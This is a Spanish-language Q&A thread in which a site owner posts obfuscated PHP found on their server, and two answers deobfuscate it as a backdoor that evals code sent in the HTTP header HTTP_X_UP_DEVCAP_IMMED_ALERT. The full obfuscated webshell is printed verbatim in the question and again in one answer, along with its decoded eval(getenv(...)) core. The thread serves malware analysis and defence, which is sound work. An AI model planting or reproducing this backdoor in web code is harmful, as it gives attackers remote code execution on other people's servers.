Código php ofuscado encontrado en el servidor

11

Encontré este código alojado en mi sitio web. Estoy seguro de que es un malware. ¿Alguien tiene una idea de lo que hace este script o cómo desobstruir?

<?php
$nkIL3_='Hn'&~hTzup;$TTCpX='HEr@D@(DEi&'|'HD"AN'(T$I.';$fGZGQD2=l5fg.'{3Ht&d~'&'|,'./*'.
    'gri*/Nenwkf.'|3n';$u4avG3='K|P'^".<t";$n9s='om|wo~'&'om}e~~';$cX8W='O]P'^#gg_'.
    '#9e';$iPPiO='%'.q6nfB|sUuI.')6';$pU9KRba5mS='Ov~'&'x]U';$pGocQU=P&P;'GDQNB1wL'.
    ']lYd2GC]o';$SEAp9cm9=_a&_M;$CBiIA=iUVv_Z_UR_OOwCIP_iO&'^'.vTY_.'|'./*RKGtqf6J'.
    'Zc*/_Wu_DEVOcx_I.'}';$QjgmVTedxc="M@"|AE;$oyL1tNw='j3x s'^'.'.l9l6;$gI_Y=#Rsx'.
    ',)'^'~}';$pai4hk=$TTCpX|$fGZGQD2;$KaQhBHF8=$u4avG3|$cX8W;$Hz=$n9s&$iPPiO;'jH2'.
    '5r';$JeFqqp=(' '.bb3ra5.''14@#$11t&7G4-'.Bb6y.')% 92E '|'5gB9@!!qS%2B0%8W0!fC'.
    'X&v-'.Z16w0.'$u4')&("[email protected]^N0f*/".CkOjFNlm."&}Y|6EOA)VH"^'()9}'.rMw1.#udQP_'.
    '}ET]'.QtTxUq.'([YHM.@D2p:Si<');if(!$pai4hk($KaQhBHF8($Hz($pU9KRba5mS./*yPL33m'.
    'Y,:(gnZ~9*/$pGocQU.$SEAp9cm9)),$JeFqqp))eval($Hz($CBiIA.$QjgmVTedxc./*X1lpmOJ'.
    '|-$J*/$oyL1tNw.$gI_Y));#d={{x(o$W#fd5B|}h-_Jgj_.9z[.XU^Iu1ZY6w;9!w xNxzp~bG^'.
    '}XB}zIH.|qChIrS(l5GFy?b#lA*:.!FHk0XG8v-a3GwnSkyI|vWMErYG~8hT!H%FlxPK';
    
pregunta calculataur 22.08.2014 - 11:53
fuente

2 respuestas

11

Es una forma muy confusa de hacer esto:

eval(getenv(HTTP_X_UP_DEVCAP_IMMED_ALERT));

Esto solo no hará nada hasta que alguien vea la página con el conjunto de encabezados HTTP_X_UP_DEVCAP_IMMED_ALERT , luego el contenido de este encabezado se ejecutará en su página web. Parece que alguien quiere ejecutar un código, tal vez para una red de bots.

Si está interesado en este código, puede ver una versión en pastebin con un poco más de formato y comentarios sobre cada línea con el valores de variables y llamadas de función, etc. Tenga en cuenta que he comentado la llamada eval para evitar accidentes en caso de que me haya perdido algo (pero creo que lo tengo todo)

EDIT He puesto una nueva versión en pastebin, básicamente esto es lo que se ejecuta:

if(!levenshtein(md5(getenv(HTTP_A)), '4fb90a5a352c459767f74f0780779254'))
    eval(getenv(HTTP_X_UP_DEVCAP_IMMED_ALERT));

IMPORTANT

Estoy casi seguro de que hay más en tu espacio web, deberías buscar muy bien.

    
respondido por el Tokk 22.08.2014 - 12:46
fuente
5

¡El análisis de malware es divertido! No he hecho esto con PHP antes, pero veamos qué podemos hacer.

Primero, quiero formatearlo correctamente. Encontré una herramienta en línea llamada phpbeautifier.com que hace esto muy bien.

La salida es ahora:

<?php
$nkIL3_ = 'Hn' & ~hTzup;
$TTCpX = 'HEr@D@(DEi&' | 'HD"AN'(eT$I.';
$fGZGQD2 = l5fg . '{3Ht&d~' & '|,' . /*'.
'gri*/
Nenwkf . '|3n';
$u4avG3 = 'K|P' ^ ".<t";
$n9s = 'om|wo~' & 'om}e~~';
$cX8W = 'O]P' ^ //gg_'.
'#9e';
$iPPiO = '%' . q6nfB | sUuI . ')6';
$pU9KRba5mS = 'Ov~' & 'x]U';
$pGocQU = P & P;
'GDQNB1wL' . ']lYd2GC]o';
$SEAp9cm9 = _a & _M;
$CBiIA = iUVv_Z_UR_OOwCIP_iO & '^' . vTY_ . '|' . /*RKGtqf6J'.
'Zc*/
_Wu_DEVOcx_I . '}';
$QjgmVTedxc = "M@" | AE;
$oyL1tNw = 'j3x s' ^ '.' . l9l6;
$gI_Y = //Rsx'.
',)' ^ '~}';
$pai4hk = $TTCpX | $fGZGQD2;
$KaQhBHF8 = $u4avG3 | $cX8W;
$Hz = $n9s & $iPPiO;
'jH2' . '5r';
$JeFqqp = (' ' . bb3ra5 . ''14@#$11t&7G4-' . Bb6y . ')% 92E ' | '5gB9@!!qS%2B0%8W0!fC' . 'X&v-' . Z16w0 . '$u4') & ("[email protected]^N0f*/" . CkOjFNlm . "&}Y|6EOA)VH" ^ '()9}' . rMw1 . //udQP_'.
'}ET]' . QtTxUq . '([YHM.@D2p:Si<');

if (!$pai4hk($KaQhBHF8($Hz($pU9KRba5mS . /*yPL33m'.
'Y,:(gnZ~9*/
$pGocQU . $SEAp9cm9)) , $JeFqqp)) eval($Hz($CBiIA . $QjgmVTedxc . /*X1lpmOJ'.
'|-$J*/
$oyL1tNw . $gI_Y)); //d={{x(o$W#fd5B|}h-_Jgj_.9z[.XU^Iu1ZY6w;9!w xNxzp~bG^'.
'}XB}zIH.|qChIrS(l5GFy?b#lA*:.!FHk0XG8v-a3GwnSkyI|vWMErYG~8hT!H%FlxPK';

Esto es rápido y sucio, pero en la cuarta línea, verá una función eval. Inspeccionamos las variables a esto en un editor de php en línea, agregando declaraciones impresas. Estoy ejecutando este código en un editor de php en línea ( enlace :

...snip...
if (!$pai4hk($KaQhBHF8($Hz($pU9KRba5mS .$pGocQU . $SEAp9cm9)) , $JeFqqp)) {
print($Hz);
print($CBiIA);
print($QjgmVTedxc);
print($oyL1tNw);
print($gI_Y);
eval($Hz($CBiIA . $QjgmVTedxc . /*X1lpmOJ'.'|-$J*/ $oyL1tNw . $gI_Y)); //d={{x(o$W#fd5B|}h-_Jgj_.9z[.XU^Iu1ZY6w;9!w xNxzp~bG^'.
'}XB}zIH.|qChIrS(l5GFy?b#lA*:.!FHk0XG8v-a3GwnSkyI|vWMErYG~8hT!H%FlxPK';
}
...snip...

No puedo obtener todos los valores correctamente, posiblemente porque no estoy ejecutando el script como activado (navegador).

Sin embargo, puedo determinar que la función eval hace lo siguiente:

eval(getenv(HTTP_X_UP_DEVCAP_IMMED_ALERT ...));

Esta es una clara indicación de que esta secuencia de comandos es una puerta trasera, lo que le permite al atacante ejecutar comandos en su servidor web agregando los comandos en el encabezado http HTTP_X_UP_DEVCAP_IMMED_ALERT.

    
respondido por el Dog eat cat world 22.08.2014 - 12:41
fuente

Lea otras preguntas en las etiquetas